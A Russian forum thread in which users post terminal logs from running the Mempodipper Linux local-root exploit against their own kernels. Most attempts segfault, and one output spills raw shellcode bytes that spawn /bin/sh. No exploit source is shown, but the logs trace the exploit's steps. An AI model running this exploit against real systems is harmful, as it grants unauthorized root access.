LINUX.ORG.RU

Арч, сегфолтится :(


unfo@unfo-job:~/tmp> ./a.out 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/12933/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a43.
[+] Executing su with shellcode.
Ошибка сегментирования
unfo@unfo-job:~/tmp> ls -l /bin/su
-r-sr-xr-x 1 root root 41359 янв.   8 09:44 /bin/su
unfo ★★★★★★★★★★★
()
Ответ на: комментарий от unfo

ls -l /bin/su можно и не показывать было, проблема не в этом

xtraeft ★★☆☆
() автор топика
Ответ на: комментарий от aidaho

Гип-гип, ура! Я только вчера думал, какой поставить из бэкпортов: 38 или 39 (на 32 гибернация не пашет). Поставил 38. Оказался прав.

bk_ ★★
()
Ответ на: комментарий от AndreyKl

кстати, есть реализации этого эксплойта не читающие /bin/su

xtraeft ★★☆☆
() автор топика

Сегфолтится. :)

pekmop1024 ★★★★★★★★★★★
()

Ну вот нах как так жить, товарищи?

[15:18] fletch@helix ~\ $ uname -a
Linux helix 3.1.9-2-ARCH #1 SMP PREEMPT Sat Jan 14 09:11:37 CET 2012 x86_64 AMD Athlon(tm) II X2 250 Processor AuthenticAMD GNU/Linux
[15:18] fletch@helix ~\ $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7913/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a3e.
[+] Executing su with shellcode.
Ошибка сегментирования
[15:18] fletch@helix ~\ $ ls -la /bin/su
-r-sr-xr-x 1 root root 41359 янв.   8 07:44 /bin/su
+не дебианом единым:
watcher ~ # uname -a
Linux watcher 3.2.1-gentoodvb #1 SMP Sat Jan 14 16:14:57 EET 2012 i686 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
watcher ~ # ls -la /bin/su
-rws--x--x 1 root root 30940 Ноя  2 01:14 /bin/su
fletch@watcher ~ $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/14592/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178

Шел 2012 год, а в стереотипах как и прежде арч был падуч, гента летуча, а дебиан стабилен как говно мамонта памятник Ленину.

Fletch ★★
()
Ответ на: комментарий от xtraeft

я говорил о том, что рабочие локал рут эксплойты были, есть и будут

отлично работающие

да, согласен.

AndreyKl ★★★★★★
()
[michael@rufi dev]$ uname -a
Linux rufi 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Celeron(R) Dual-Core CPU T3300 @ 2.00GHz GenuineIntel GNU/Linux
[michael@rufi dev]$ ./exploit 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2057/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a43.
[+] Executing su with shellcode.
Ошибка сегментирования
Deleted
()
Ответ на: комментарий от aidaho

У меня на 32 работает, но как-то через раз. То уходит в гибернацию, своп создает, но сам комп не выключается и виснет на черной консоли.

Вырубаю комп (ноут), включаю - из свопа восстанавливается. Но каждый раз вырубать ноут вручную достает.

bk_ ★★
()
Ответ на: комментарий от Kadi

другой вариант (+r у /bin/su)

$ ./a.out 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7059/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020e5.
[+] Executing su with shellcode.
Неизвестный id: H1��iH1��j@�@��!H�//bin/shH�SH��H1�f�-iSH��H1�PQWH��H1Ұ;

Kadi
()

на арче не завелось

[kirill@Arch ~]$ uname -sr
Linux 3.1.6-1-ARCH
[kirill@Arch ~]$ ./a.out 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2442/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049180.
[+] Calculating su padding.
[+] Seeking to offset 0x8049177.
[+] Executing su with shellcode.
Segmentation fault
[kirill@Arch ~]$ 
asket82
()

интересно, сколько чукчей будет еще бездумно запускать пробный сплойт

xtraeft ★★☆☆
() автор топика
Ответ на: комментарий от xtraeft

Так они ещё после того, как он и них не заработает, будут кричать что у них нет этой уязвимости. «Блажен кто верует» :)

cool_hedin
()

Linux Local Root for >=2.6.39, 32-bit and 64-bit

$ uname -a
Linux optima 2.6.32-5-amd64 #1 SMP Wed Jan 12 03:40:32 UTC 2011 x86_64 GNU/Linux
$ cat /etc/issue
Debian GNU/Linux 6.0 \n \l
pacify ★★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.